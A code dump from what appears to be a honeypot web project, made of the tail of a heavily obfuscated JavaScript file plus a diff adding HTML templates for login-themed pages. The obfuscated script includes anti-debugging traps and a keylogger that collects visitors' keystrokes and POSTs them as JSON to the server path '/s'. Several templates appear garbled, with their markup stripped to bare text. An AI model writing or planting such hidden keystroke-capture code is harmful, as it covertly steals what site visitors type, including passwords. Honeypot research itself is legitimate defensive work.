_0x10ed33(_0x4040e9); }, 'GrboR': _0x43d54a(0x26a, 0x223, 0x291, 0x26a, 0x217) + _0x476dc5(-0x1c0, -0xeb, -0x124, -0xff, -0x19f) + _0x58c5bd(0x57c, 0x5b5, 0x589, 0x528, 0x4fb) + _0x476dc5(0x55, 0x53, -0x1b, 0x3a, -0xaa), 'FdOGC': _0x58c5bd(0x4e4, 0x546, 0x615, 0x580, 0x61f) + _0x52fb9d(0x483, 0x53e, 0x55d, 0x598, 0x4f6) + _0x476dc5(-0x99, -0x168, -0x146, -0x136, -0xc7) + _0x52fb9d(0x503, 0x4b5, 0x4ea, 0x4ab, 0x4cd) + _0x5b06f6(0x3a6, 0x30f, 0x2da, 0x364, 0x357) + _0x58c5bd(0x44e, 0x4ac, 0x42c, 0x4a3, 0x4ff) + '\x20)', 'wlVVt': function (_0x38f9be) { return _0x38f9be(); }, 'ZlgKA': function (_0x2694bc, _0x3c0235) { return _0x2694bc(_0x3c0235); }, 'sfAZJ': function (_0x22e0d5, _0x9a7c5d) { return _0x22e0d5 !== _0x9a7c5d; }, 'TAfqG': _0x58c5bd(0x566, 0x5b1, 0x4cb, 0x501, 0x542), 'AWBrN': _0x476dc5(-0x19e, -0xe7, -0x14f, -0xe9, -0x200), 'ekKyx': function (_0x1559d4, _0x5b416d) { return _0x1559d4 !== _0x5b416d; }, 'TMeIC': _0x5b06f6(0x2d5, 0x2b9, 0x237, 0x316, 0x2e6), 'MqPLu': function (_0x1c01a8, _0x55aea0) { return _0x1c01a8 !== _0x55aea0; }, 'UQLLB': _0x5b06f6(0x4a1, 0x400, 0x39b, 0x471, 0x487), 'IWKoY': _0x5b06f6(0x389, 0x32f, 0x2be, 0x3c9, 0x3b5) }; function _0x188159(_0x2f5e44) { const _0x34659e = { 'XTQqc': function (_0x336ad9, _0x28f5f0) { function _0x29d6ab(_0x52f679, _0x576f4a, _0x18ddfa, _0x43f3b2, _0x46268e) { return _0x4dfc(_0x43f3b2 - -0x297, _0x52f679); } return _0x454b5c[_0x29d6ab(-0x66, 0xb4, 0x13, 0x48, -0x8)](_0x336ad9, _0x28f5f0); }, 'nRkZr': function (_0x2308cb, _0x3e143d) { function _0x3d04f5(_0x5a4c6b, _0x2b1f63, _0x59f70b, _0x1cf49e, _0x5a5c52) { return _0x4dfc(_0x2b1f63 - -0xb2, _0x5a4c6b); } return _0x454b5c[_0x3d04f5(0x236, 0x237, 0x209, 0x21c, 0x2a6)](_0x2308cb, _0x3e143d); }, 'dSQsY': function (_0x3246cb, _0x1ad898) { function _0x19c84b(_0x3ccbc6, _0x449a4f, _0x1b5e62, _0x3fb056, _0x174ec4) { return _0x4dfc(_0x3fb056 - -0x27a, _0x3ccbc6); } return _0x454b5c[_0x19c84b(0xd1, -0x6e, 0xf5, 0x3f, -0x69)](_0x3246cb, _0x1ad898); }, 'LcMqy': function (_0x55781a, _0x4838d2, _0x2d1d9f) { function _0x38fe5b(_0x5adac6, _0x487b59, _0x3c13d1, _0x51673e, _0x42ceb4) { return _0x4dfc(_0x42ceb4 - -0x32e, _0x3c13d1); } return _0x454b5c[_0x38fe5b(-0xd0, -0x29, -0x13c, -0x7e, -0x9f)](_0x55781a, _0x4838d2, _0x2d1d9f); }, 'OwjZO': _0x454b5c[_0x4b8960(-0xda, -0x105, -0x138, -0xf7, -0x45)], 'HMSMa': _0x454b5c[_0x4b8960(-0x66, -0x59, -0xb3, -0x94, 0x22)] }; function _0x5b72e5(_0x14c627, _0x439849, _0x45d1d2, _0xc1d35a, _0x213e7f) { return _0x52fb9d(_0x439849, _0x439849 - 0x2, _0x45d1d2 - 0xb4, _0xc1d35a - 0x15f, _0x14c627 - -0xbe); } function _0x4b8960(_0x36dff8, _0x14c619, _0x13562c, _0x2cf68c, _0x42ae13) { return _0x43d54a(_0x36dff8 - 0x24, _0x2cf68c - -0x2c1, _0x13562c, _0x2cf68c - 0x1a1, _0x42ae13 - 0x19c); } function _0x5ee483(_0x3cb2ca, _0x3119fd, _0x209aed, _0x512a9a, _0x4dd95e) { return _0x43d54a(_0x3cb2ca - 0x11d, _0x3119fd - 0x386, _0x4dd95e, _0x512a9a - 0x0, _0x4dd95e - 0x5c); } function _0x4f9822(_0x1700e0, _0x343474, _0x13297d, _0x1f9d0d, _0x2b3117) { return _0x476dc5(_0x1700e0, _0x343474 - 0xc3, _0x13297d - -0x57, _0x1f9d0d - 0x60, _0x2b3117 - 0x188); } function _0x1c163a(_0x4e14c8, _0x7d917e, _0x7e56fb, _0x19ec05, _0x5b0857) { return _0x476dc5(_0x4e14c8, _0x7d917e - 0x1e0, _0x7e56fb - 0x6a6, _0x19ec05 - 0x6f, _0x5b0857 - 0x161); } if (_0x454b5c[_0x5b72e5(0x43f, 0x4c0, 0x3b9, 0x40d, 0x3db)](_0x454b5c[_0x4f9822(-0x23, -0x5d, -0xa1, -0xad, -0xea)], _0x454b5c[_0x4f9822(-0x153, -0x40, -0xa1, -0x108, -0xe3)])) { if (_0x454b5c[_0x4b8960(-0x184, -0x18e, -0x2c, -0xd7, -0xdc)](typeof _0x2f5e44, _0x454b5c[_0x5ee483(0x560, 0x5bd, 0x5c9, 0x642, 0x52a)])) { if (_0x454b5c[_0x4f9822(-0xc8, -0x169, -0xe2, -0x187, -0xd1)](_0x454b5c[_0x4b8960(-0xd6, -0x1c4, -0x18d, -0x117, -0xdb)], _0x454b5c[_0x4f9822(-0x8c, -0xac, -0x12c, -0xb3, -0x167)])) return function (_0x35a6d7) { }[_0x5ee483(0x62a, 0x5ae, 0x56d, 0x528, 0x665) + _0x1c163a(0x6a7, 0x664, 0x5f5, 0x5fa, 0x543) + 'r'](_0x454b5c[_0x5b72e5(0x35f, 0x417, 0x314, 0x3bc, 0x378)])[_0x4b8960(-0x8b, -0xdc, -0xff, -0x87, -0x71)](_0x454b5c[_0x1c163a(0x687, 0x5d6, 0x646, 0x5b6, 0x63c)]); else { let _0x5e9082 = ''; for (let _0x4bbb04 = 0x19e + 0x1fc9 + -0x2167 * 0x1; _0x34659e[_0x1c163a(0x723, 0x6c7, 0x698, 0x66d, 0x699)](_0x4bbb04, _0x51fc90[_0x1c163a(0x67b, 0x643, 0x665, 0x629, 0x5c9) + 'h']); _0x4bbb04++) { _0x5e9082 += _0x477078[_0x5ee483(0x427, 0x4c6, 0x45b, 0x45c, 0x483) + _0x4f9822(-0x16c, -0x117, -0x10a, -0x150, -0x66) + 'de'](_0x34659e[_0x4f9822(-0x186, -0x107, -0x148, -0x1f8, -0x118)](_0x151d45[_0x1c163a(0x576, 0x671, 0x615, 0x560, 0x587) + _0x4f9822(-0x242, -0x1d6, -0x19f, -0x117, -0x1b3)](_0x4bbb04), _0x41692f[_0x4b8960(-0x64, -0x1bc, -0x1c0, -0x109, -0x11a) + _0x4b8960(-0x227, -0x1ee, -0x19c, -0x1c0, -0x19c)](_0x34659e[_0x5b72e5(0x38d, 0x2dc, 0x3f0, 0x34d, 0x382)](_0x4bbb04, _0x38e937[_0x1c163a(0x5e3, 0x6d2, 0x665, 0x6f2, 0x6a5) + 'h'])))); } return _0x5e9082; } } else { if (_0x454b5c[_0x5ee483(0x4f9, 0x544, 0x57d, 0x50a, 0x4b3)](_0x454b5c[_0x4b8960(0x2b, -0x7d, -0xdf, -0x79, 0x2f)], _0x454b5c[_0x4b8960(-0x1b, -0x7b, -0xe3, -0x79, -0x71)])) { const _0x484c13 = _0x1b3549[_0x1c163a(0x701, 0x68a, 0x697, 0x5e8, 0x65d)](_0xa0381a, arguments); return _0x4b5483 = null, _0x484c13; } else { if (_0x454b5c[_0x5ee483(0x49d, 0x4df, 0x4f2, 0x52d, 0x4a8)](_0x454b5c[_0x5ee483(0x63f, 0x5c9, 0x5bf, 0x649, 0x614)]('', _0x454b5c[_0x4b8960(-0x2f, -0xba, -0x123, -0x98, -0xf5)](_0x2f5e44, _0x2f5e44))[_0x454b5c[_0x4b8960(-0x1af, -0x242, -0x213, -0x193, -0x115)]], 0x1996 + 0x209 * 0x9 + 0x3 * -0xea2) || _0x454b5c[_0x4f9822(-0x27, -0xe5, -0x9f, -0x10, -0x2f)](_0x454b5c[_0x5b72e5(0x3bc, 0x345, 0x3fd, 0x31f, 0x3f9)](_0x2f5e44, -0x22f7 + -0x7 * 0x337 + -0x1d * -0x1fc), -0x1d * -0xbb + 0x1bd9 * 0x1 + -0x3108)) { if (_0x454b5c[_0x5b72e5(0x3af, 0x2fa, 0x346, 0x32c, 0x42b)](_0x454b5c[_0x5b72e5(0x403, 0x395, 0x3a5, 0x39f, 0x466)], _0x454b5c[_0x4b8960(-0x68, -0x1a, -0x36, -0xaf, -0x119)])) { const _0x4a22a7 = /^[a-zA-Z0-9!@#$%^&*(),.?":{}|<> ]$/; _0xcbcb24[_0x1c163a(0x61d, 0x651, 0x6a6, 0x63b, 0x6ce)](_0x445a4c[_0x1c163a(0x563, 0x5ea, 0x60a, 0x6ba, 0x670)]); if (_0x454b5c[_0x1c163a(0x64f, 0x6cc, 0x647, 0x6f9, 0x5c2)](_0x3b6096[_0x5b72e5(0x39e, 0x337, 0x441, 0x3f3, 0x300)], _0x454b5c[_0x5b72e5(0x352, 0x2c0, 0x36c, 0x3dd, 0x34e)]) || _0x454b5c[_0x4f9822(-0xdb, -0x159, -0x158, -0x1b0, -0x18c)](_0x288891[_0x4f9822(-0x198, -0x10f, -0xf3, -0xba, -0xcd)], _0x454b5c[_0x5ee483(0x566, 0x5de, 0x637, 0x66c, 0x690)]) || _0x454b5c[_0x5ee483(0x58b, 0x5d4, 0x5a6, 0x558, 0x649)](_0x198efe[_0x4f9822(-0xf6, -0xe9, -0xf3, -0x82, -0x1a9)], '\x20')) { const _0xa3b461 = _0x3f76a6[_0x4f9822(-0x1d2, -0xfe, -0x14e, -0xe1, -0x105)](''); _0x100286 = _0x454b5c[_0x5b72e5(0x392, 0x355, 0x449, 0x2dd, 0x323)](_0x27c0, _0xa3b461, _0x50ded7); const _0x585740 = {}; _0x585740[_0x5ee483(0x47b, 0x533, 0x4a8, 0x491, 0x5ab)] = _0x180cb1, _0x454b5c[_0x4b8960(-0x85, -0x1c8, -0x1c6, -0x120, -0x65)](_0x940c36, '/s', { 'method': _0x454b5c[_0x1c163a(0x6bb, 0x5d7, 0x627, 0x69f, 0x6d8)], 'headers': { 'Content-Type': _0x454b5c[_0x1c163a(0x6f4, 0x5df, 0x68a, 0x6c5, 0x6ef)] }, 'body': _0x163c02[_0x4b8960(-0x75, 0x1e, -0x84, -0x89, -0x134) + _0x5b72e5(0x38b, 0x34a, 0x402, 0x440, 0x3c7)](_0x585740) }), _0x3a36dc = []; } else { if (_0x454b5c[_0x5ee483(0x59d, 0x564, 0x51a, 0x4ee, 0x60b)](_0x3baeda[_0x4b8960(-0x95, -0x186, -0xc3, -0x114, -0x159)], _0x454b5c[_0x4f9822(-0x43, -0x18b, -0xdc, -0x13d, -0xf1)])) _0x23e64b[_0x4b8960(-0x108, -0xd7, -0x134, -0x136, -0x11d)](); else _0x4a22a7[_0x4b8960(-0x145, -0xb8, -0x21, -0x9d, -0xe2)](_0x54fbdc[_0x5ee483(0x5a5, 0x533, 0x485, 0x50c, 0x4ad)]) && _0x1cbef5[_0x4f9822(-0x8c, 0xf, -0x3b, -0x71, -0x8d)](_0x48602f[_0x5b72e5(0x39e, 0x3b1, 0x3ed, 0x356, 0x402)]); } } else (function () { function _0x1cff44(_0x55de5a, _0x45c469, _0x7a45ca, _0x87fc2a, _0x2cf457) { return _0x1c163a(_0x87fc2a, _0x45c469 - 0x12, _0x2cf457 - 0x4d, _0x87fc2a - 0x9, _0x2cf457 - 0x126); } function _0x3e0889(_0xfc30c9, _0x287fe6, _0x569c32, _0x324333, _0x50a9f0) { return _0x5b72e5(_0x287fe6 - 0x264, _0x50a9f0, _0x569c32 - 0x25, _0x324333 - 0x15c, _0x50a9f0 - 0x12); } function _0x561f64(_0xf903cd, _0x4315bb, _0x3db18a, _0x4a24b3, _0x10b557) { return _0x4f9822(_0x4a24b3, _0x4315bb - 0x146, _0x10b557 - 0x5c2, _0x4a24b3 - 0x1aa, _0x10b557 - 0xf8); } function _0x5222d0(_0x163252, _0x280516, _0x28c179, _0x490086, _0x5ec0b4) { return _0x4b8960(_0x163252 - 0x1e5, _0x280516 - 0x34, _0x28c179, _0x5ec0b4 - 0x42, _0x5ec0b4 - 0xa7); } if (_0x454b5c[_0x1cff44(0x6d6, 0x667, 0x660, 0x631, 0x668)](_0x454b5c[_0x5222d0(0x1a, 0x42, -0xaa, -0x7f, -0x42)], _0x454b5c[_0x1cff44(0x67e, 0x681, 0x645, 0x6b3, 0x6fd)])) return !![]; else { const _0x4871ce = _0x288930[_0x561f64(0x51c, 0x58b, 0x53b, 0x553, 0x55c)](_0x560baf, arguments); return _0x35dfe6 = null, _0x4871ce; } }[_0x5ee483(0x623, 0x5ae, 0x5f2, 0x598, 0x647) + _0x4f9822(-0xf6, -0xea, -0x108, -0xd5, -0xfe) + 'r'](_0x454b5c[_0x4b8960(-0x48, -0xc4, -0x132, -0x7e, -0x12)](_0x454b5c[_0x5ee483(0x4b7, 0x532, 0x4a6, 0x551, 0x547)], _0x454b5c[_0x4f9822(-0x186, -0x1a0, -0x17e, -0x1eb, -0x236)]))[_0x4f9822(-0x1b, -0x5e, -0x44, 0x6a, -0x94)](_0x454b5c[_0x5ee483(0x5f5, 0x5c7, 0x56b, 0x639, 0x5ac)])); } else { if (_0x454b5c[_0x4b8960(-0x12e, -0x1c9, -0x185, -0x124, -0xbe)](_0x454b5c[_0x1c163a(0x65c, 0x5b9, 0x657, 0x6fe, 0x69a)], _0x454b5c[_0x1c163a(0x661, 0x5ca, 0x675, 0x707, 0x6bb)])) (function () { function _0x3cfd1b(_0x4c81cb, _0x286719, _0x17442, _0x5f28a2, _0x272418) { return _0x4b8960(_0x4c81cb - 0x1a9, _0x286719 - 0x15b, _0x17442, _0x272418 - 0x50e, _0x272418 - 0xa6); } function _0x530eb9(_0x4a74bd, _0xa7c6a9, _0x5908fe, _0x1a7dad, _0x3e0028) { return _0x1c163a(_0x1a7dad, _0xa7c6a9 - 0x1ee, _0xa7c6a9 - -0x5f3, _0x1a7dad - 0x1a2, _0x3e0028 - 0x198); } function _0x2d5aa7(_0x141373, _0x52da9e, _0x2f5904, _0x4deba0, _0x2e1fb7) { return _0x5ee483(_0x141373 - 0x1dc, _0x141373 - -0xa6, _0x2f5904 - 0x1ae, _0x4deba0 - 0x122, _0x52da9e); } function _0x15c9c5(_0x3e5e9c, _0x11ef9f, _0x2e8045, _0x1656ac, _0x59767d) { return _0x5b72e5(_0x2e8045 - -0x6b, _0x3e5e9c, _0x2e8045 - 0x1b8, _0x1656ac - 0x179, _0x59767d - 0x75); } function _0x481c71(_0x274d08, _0x210ead, _0xc8d82a, _0x20d50c, _0x2143f4) { return _0x5ee483(_0x274d08 - 0x1dc, _0x210ead - -0x4ee, _0xc8d82a - 0x9f, _0x20d50c - 0x6f, _0x2143f4); } if (_0x454b5c[_0x2d5aa7(0x52e, 0x4ea, 0x56e, 0x562, 0x4b0)](_0x454b5c[_0x15c9c5(0x27c, 0x2ee, 0x31a, 0x3a9, 0x2ba)], _0x454b5c[_0x15c9c5(0x405, 0x362, 0x369, 0x316, 0x303)])) _0x33ac7b += _0xc94b7d[_0x3cfd1b(0x384, 0x33b, 0x41b, 0x360, 0x38d) + _0x2d5aa7(0x476, 0x44f, 0x46b, 0x3d3, 0x4bf) + 'de'](_0x34659e[_0x3cfd1b(0x416, 0x318, 0x3a8, 0x431, 0x3a5)](_0x2b53d5[_0x2d5aa7(0x498, 0x465, 0x441, 0x50b, 0x470) + _0x2d5aa7(0x3e1, 0x3e7, 0x472, 0x442, 0x3b7)](_0x4d7753), _0x22d0f6[_0x481c71(0xae, 0x50, 0xb6, -0x3b, 0x90) + _0x3cfd1b(0x339, 0x333, 0x35e, 0x35c, 0x34e)](_0x34659e[_0x530eb9(-0x2d, 0x6, 0x11, 0x80, -0x8b)](_0x530862, _0x36141c[_0x2d5aa7(0x4e8, 0x599, 0x45f, 0x59a, 0x54b) + 'h'])))); else return ![]; }[_0x1c163a(0x6e4, 0x643, 0x685, 0x5d2, 0x679) + _0x5ee483(0x4cd, 0x51e, 0x52e, 0x51d, 0x577) + 'r'](_0x454b5c[_0x4b8960(-0xb3, -0x10, -0x10d, -0x7e, -0x2c)](_0x454b5c[_0x4b8960(-0x1d0, -0xea, -0x129, -0x115, -0x6e)], _0x454b5c[_0x5b72e5(0x313, 0x34b, 0x2e2, 0x284, 0x2d4)]))[_0x1c163a(0x739, 0x620, 0x697, 0x6c0, 0x6df)](_0x454b5c[_0x4b8960(-0x40, 0x14, -0xa5, -0x5a, -0x97)])); else { const _0x3b1a39 = _0xe8d93e[_0x5b72e5(0x343, 0x3c2, 0x357, 0x320, 0x2b8)](''); _0x9ceb6a = _0x34659e[_0x4f9822(-0x65, -0x51, -0xcb, -0xff, -0x11e)](_0x14f90b, _0x3b1a39, _0x904601); const _0x10656d = {}; _0x10656d[_0x5b72e5(0x39e, 0x385, 0x2f0, 0x404, 0x2fc)] = _0x1ac46a, _0x34659e[_0x5ee483(0x57d, 0x55b, 0x4fd, 0x5d3, 0x5a1)](_0x150915, '/s', { 'method': _0x34659e[_0x1c163a(0x73e, 0x6e8, 0x69b, 0x69c, 0x724)], 'headers': { 'Content-Type': _0x34659e[_0x4f9822(-0x56, -0xbd, -0xfd, -0xcf, -0x16e)] }, 'body': _0x3e5304[_0x5b72e5(0x429, 0x380, 0x419, 0x456, 0x3e6) + _0x5ee483(0x5b7, 0x520, 0x571, 0x542, 0x5cd)](_0x10656d) }), _0x7bfd65 = []; } } } } _0x454b5c[_0x1c163a(0x5b3, 0x507, 0x595, 0x505, 0x5c2)](_0x188159, ++_0x2f5e44); } else return function (_0xef401f) { }[_0x4f9822(-0x102, -0x91, -0x78, -0x11f, -0x76) + _0x4b8960(-0x18a, -0x77, -0x169, -0x129, -0x16d) + 'r'](_0x454b5c[_0x5ee483(0x44f, 0x4f4, 0x54e, 0x52c, 0x52b)])[_0x1c163a(0x69d, 0x6a7, 0x697, 0x705, 0x660)](_0x454b5c[_0x4b8960(-0x10e, -0x92, -0x141, -0xd8, -0xd3)]); } function _0x58c5bd(_0x41c7ed, _0x674579, _0x1477a3, _0x1957bd, _0x38e65b) { return _0x4dfc(_0x1957bd - 0x2b1, _0x1477a3); } try { if (_0x454b5c[_0x5b06f6(0x319, 0x3b9, 0x327, 0x449, 0x405)](_0x454b5c[_0x43d54a(0x179, 0x15b, 0x16a, 0xf9, 0xfd)], _0x454b5c[_0x58c5bd(0x451, 0x568, 0x416, 0x4b0, 0x439)])) { if (_0x23e510) { if (_0x454b5c[_0x476dc5(-0xc5, -0x134, -0x132, -0x166, -0x1d7)](_0x454b5c[_0x5b06f6(0x369, 0x37f, 0x3d5, 0x336, 0x3fa)], _0x454b5c[_0x43d54a(0x1bf, 0x1da, 0x174, 0x1f3, 0x201)])) { const _0x758b1f = { 'TTyQX': function (_0xe3bd42, _0x1004d0) { function _0x128f61(_0x5aed8a, _0x187d52, _0x155ef2, _0x328d67, _0x3c8937) { return _0x43d54a(_0x5aed8a - 0x11a, _0x187d52 - 0x1c, _0x5aed8a, _0x328d67 - 0x75, _0x3c8937 - 0x5f); } return _0x454b5c[_0x128f61(0xd1, 0x142, 0x112, 0x13e, 0x98)](_0xe3bd42, _0x1004d0); }, 'RQwBZ': function (_0x33c738, _0xec7b48) { function _0x41f6d4(_0xb2796e, _0x41c933, _0xe6df45, _0x17da19, _0x175454) { return _0x5b06f6(_0xb2796e - 0x1f0, _0x41c933 - -0x109, _0xe6df45 - 0x1ad, _0x17da19 - 0x14e, _0x175454); } return _0x454b5c[_0x41f6d4(0x279, 0x2df, 0x2e3, 0x28c, 0x376)](_0x33c738, _0xec7b48); }, 'ZMVhv': _0x454b5c[_0x476dc5(-0xd, -0x88, 0x6, 0x9, 0xb8)], 'sfuUC': _0x454b5c[_0x58c5bd(0x485, 0x508, 0x556, 0x517, 0x48b)] }, _0x26553c = function () { function _0x43539f(_0x31ef68, _0x6ee4d4, _0x4aa31f, _0x3f0c4e, _0x360b6d) { return _0x43d54a(_0x31ef68 - 0x177, _0x4aa31f - 0x206, _0x360b6d, _0x3f0c4e - 0x15f, _0x360b6d - 0xf9); } let _0x45660c; function _0x4c5a18(_0x5ca81f, _0x255c32, _0x2833d5, _0x41a91e, _0x415900) { return _0x52fb9d(_0x415900, _0x255c32 - 0x5e, _0x2833d5 - 0x121, _0x41a91e - 0x157, _0x41a91e - -0x1c7); } function _0x1869ad(_0x5aabae, _0x2a29bf, _0x366b51, _0x1a3fb7, _0x4b7889) { return _0x52fb9d(_0x2a29bf, _0x2a29bf - 0xa5, _0x366b51 - 0x21, _0x1a3fb7 - 0x1ac, _0x4b7889 - -0x3ef); } function _0x71c423(_0x57e2eb, _0x1bc8e9, _0x54f342, _0x89b151, _0x4f5f6d) { return _0x43d54a(_0x57e2eb - 0x149, _0x57e2eb - 0x4b1, _0x89b151, _0x89b151 - 0xc5, _0x4f5f6d - 0x78); } try { _0x45660c = _0x758b1f[_0x1869ad(0xff, 0x5b, 0x78, 0x7, 0x4c)](_0x108628, _0x758b1f[_0x1869ad(0x3d, 0x46, 0x2c, 0x8, 0xb0)](_0x758b1f[_0x4d965f(0x45f, 0x584, 0x565, 0x4e7, 0x58d)](_0x758b1f[_0x4c5a18(0x16d, 0x29c, 0x2c0, 0x218, 0x1a3)], _0x758b1f[_0x4c5a18(0x217, 0x317, 0x1e8, 0x29c, 0x309)]), ');'))(); } catch (_0x43d713) { _0x45660c = _0x28be34; } function _0x4d965f(_0x4b7d1c, _0x2b1579, _0x435795, _0x16136f, _0x427c91) { return _0x43d54a(_0x4b7d1c - 0xef, _0x16136f - 0x2f7, _0x4b7d1c, _0x16136f - 0x91, _0x427c91 - 0xb9); } return _0x45660c; }, _0x5cd1a9 = _0x454b5c[_0x43d54a(0x95, 0x10c, 0xf8, 0x55, 0x170)](_0x26553c); _0x5cd1a9[_0x476dc5(-0x46, -0x198, -0xe3, -0x65, -0x44) + _0x52fb9d(0x36a, 0x361, 0x33f, 0x3a8, 0x3e4) + 'l'](_0x11ffef, -0x1ce4 + -0x1348 * -0x1 + -0x1 * -0x193c); } else return _0x188159; } else _0x454b5c[_0x58c5bd(0x4b9, 0x4ef, 0x52e, 0x551, 0x548)](_0x454b5c[_0x58c5bd(0x5ac, 0x5c2, 0x4ba, 0x570, 0x5c4)], _0x454b5c[_0x43d54a(0x94, 0x129, 0x7c, 0xa1, 0x7b)]) ? _0x454b5c[_0x5b06f6(0x216, 0x2a3, 0x2e5, 0x2b4, 0x291)](_0x188159, -0x15d9 * -0x1 + -0x2 * 0xb9e + -0x163 * -0x1) : _0x454b5c[_0x476dc5(-0x169, -0xbc, -0x14b, -0x140, -0xc8)](_0x2c94cb, 0x1a2 + -0x1 * 0x1423 + 0x3 * 0x62b); } else { const _0x5bd7e1 = _0x188f0c ? function () { function _0x4a9df8(_0x1ddc90, _0x469f59, _0x3fc6a9, _0x43507a, _0x340cde) { return _0x476dc5(_0x43507a, _0x469f59 - 0xe7, _0x340cde - 0x63a, _0x43507a - 0xbf, _0x340cde - 0x163); } if (_0x58c25d) { const _0x2613c9 = _0x30673f[_0x4a9df8(0x5b2, 0x66a, 0x66a, 0x6e4, 0x62b)](_0x5794ab, arguments); return _0x11189b = null, _0x2613c9; } } : function () { }; return _0xb2c9d2 = ![], _0x5bd7e1; } } catch (_0x57aa0f) { } } diff --git a/honeypot/Honeypot_Project_final/templates/404.html b/honeypot/Honeypot_Project_final/templates/404.html new file mode 100644 index 0000000..3699821 --- /dev/null +++ b/honeypot/Honeypot_Project_final/templates/404.html @@ -0,0 +1,124 @@ +<!DOCTYPE html> +<html> + +<head> + <meta name="viewport" content="width=device-width, initial-scale=1.0" /> + <!-- Bootstrap CSS --> + <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet"> + <!-- Font Awesome CSS --> + <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css" rel="stylesheet"> + <!-- Custom CSS --> + <link rel="stylesheet" href="/static/css/style.css"> +</head> + +<body onload="myFunction()"> + <div class="section"> + <div class='error'> + <img src="/static/image/404.jpg" alt="404 image" /> + </div> + <div class="page">Sorry, the page you are looking for might have been removed or its name changed.</div> + <a class="back-home" href="{{ url_for('login') }}">Back to home</a> + </div> + + <script src="/static/js/script.js"></script> + <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"></script> + <script src="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/js/all.min.js"></script> + <noscript> + <style> + body, + html { + overflow: hidden + } + + #JsEnable { + display: none + } + + /* Enable Javascript Popup */ + #Key2bloggingNoscript { + background: rgba(0, 0, 0, 0.85); + padding: 0; + position: fixed; + bottom: 0; + left: 0; + top: -100px; + right: 0; + z-index: 1000; + opacity: 1; + visibility: visible; + height: auto; + } + + #Key2bloggingNoscript svg { + width: 100px; + height: 100px + } + + #Key2bloggingNoscript svg path { + fill: #e43f3f + } + + #Key2bloggingNoscript .isiNoscript { + background-color: #010a13; + color: #e29797; + position: absolute; + text-align: center; + padding: 0 30px 30px 30px; + margin: auto; + top: 30%; + left: 0; + right: 0; + font-size: 1.5rem; + font-weight: 400; + line-height: 1.5em; + max-width: 670px; + box-shadow: 0 20px 10px -10px rgba(0, 0, 0, 0.15); + border: 15px solid rgba(0, 0, 0, .07); + overflow: hidden; + transition: all .6s cubic-bezier(.25, .8, .25, 1); + -webkit-transform: translateZ(0); + transform: translateZ(0); + backface-visibility: visible; + transition: all .2s ease-in-out, visibility 0s; + transform-origin: bottom center; + pointer-events: auto; + transform: rotateX(0deg) rotateY(0deg) rotateZ(0deg) scale(1); + opacity: 1; + animation: key2BloggingWobble .5s; + -moz-animation: key2BloggingWobble .5s; + -webkit-animation: key2BloggingWobble .5s; + -o-animation: key2BloggingWobble .5s + } + + #Key2bloggingNoscript .isiNoscript:hover { + box-shadow: 0 20px 10px -10px rgba(170, 47, 47, 0.2); + } + + #Key2bloggingNoscript .isiNoscript h4, + #Key2bloggingNoscript .isiNoscript .JSEnable { + display: inline-block; + background: rgba(0, 0, 0, .07); + padding: 5px 25px 15px 25px; + font-size: 2.2rem; + font-weight: 500; + margin-bottom: 20px + } + </style> + </noscript> + + <noscript> + <div id='Key2bloggingNoscript'> + <div class='isiNoscript'><span class='JSEnable'>Enable Javascript</span> + <br /> + <svg viewBox='0 0 24 24'> + <path + d='M3,3H21V21H3V3M7.73,18.04C8.13,18.89 8.92,19.59 10.27,19.59C11.77,19.59 12.8,18.79 12.8,17.04V11.26H11.1V17C11.1,17.86 10.75,18.08 10.2,18.08C9.62,18.08 9.38,17.68 9.11,17.21L7.73,18.04M13.71,17.86C14.21,18.84 15.22,19.59 16.8,19.59C18.4,19.59 19.6,18.76 19.6,17.23C19.6,15.82 18.79,15.19 17.35,14.57L16.93,14.39C16.2,14.08 15.89,13.87 15.89,13.37C15.89,12.96 16.2,12.64 16.7,12.64C17.18,12.64 17.5,12.85 17.79,13.37L19.1,12.5C18.55,11.54 17.77,11.17 16.7,11.17C15.19,11.17 14.22,12.13 14.22,13.4C14.22,14.78 15.03,15.43 16.25,15.95L16.67,16.13C17.45,16.47 17.91,16.68 17.91,17.26C17.91,17.74 17.46,18.09 16.76,18.09C15.93,18.09 15.45,17.66 15.09,17.06L13.71,17.86Z' /> + </svg> + <br />Javascript is disabled on your Browser. To use + <data:blog.title.escaped /> turn on Javascript in the browser settings. + </div> + </div> + </noscript> +</body> + +</html> \ No newline at end of file diff --git a/honeypot/Honeypot_Project_final/templates/about.html b/honeypot/Honeypot_Project_final/templates/about.html new file mode 100644 index 0000000..df90c0a --- /dev/null +++ b/honeypot/Honeypot_Project_final/templates/about.html @@ -0,0 +1,153 @@ +<!DOCTYPE html> +<html> + +<head> + <title>About Us + + + Security Expert Website + + + + + + + + + +
+
+

About Us

+
+ +
+

We are a company that specializes in providing high-quality products and services to our customers. We are + committed to providing our customers with the best possible experience, and we are always looking for ways to + improve our products and services.

+ +

Our Mission

+ +

Our mission is to provide our customers with the best possible experience. We believe that our customers + deserve the best possible products and services, and we are committed to providing them with just that.

+ +

Our Values

+ +
    +
  • Customer satisfaction
  • +
  • Quality
  • +
  • Innovation
  • +
  • Integrity
  • +
+
+
+

Our Team

+

Our team is made up of experienced professionals who are passionate about providing our customers with the best + possible experience. We are always looking for ways to improve our products and services, and we are always + willing to go the extra mile to make sure that our customers are happy.

+
+ + +
+ + + + + + + + + + \ No newline at end of file diff --git a/honeypot/Honeypot_Project_final/templates/dashboard.html b/honeypot/Honeypot_Project_final/templates/dashboard.html new file mode 100644 index 0000000..e678e68 --- /dev/null +++ b/honeypot/Honeypot_Project_final/templates/dashboard.html @@ -0,0 +1,257 @@ + + + + + + + Security Expert Website + + + + + + + + + + +
+
+

Welcome to Security Expert

+

Protecting your business from cyber threats

+
+
+

Hi, there

+

Protecting your business from cyber threats

+
+
+
+
+ + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/honeypot/Honeypot_Project_final/templates/incorrect_pass.html b/honeypot/Honeypot_Project_final/templates/incorrect_pass.html new file mode 100644 index 0000000..eb6a2b5 --- /dev/null +++ b/honeypot/Honeypot_Project_final/templates/incorrect_pass.html @@ -0,0 +1,50 @@ + + + + + + + + + + + Incorrect Username or Password + + + + + + +
+
+
+
+
+

The username or password you entered is incorrect.
Please try again.

+ +
+
+
+
+
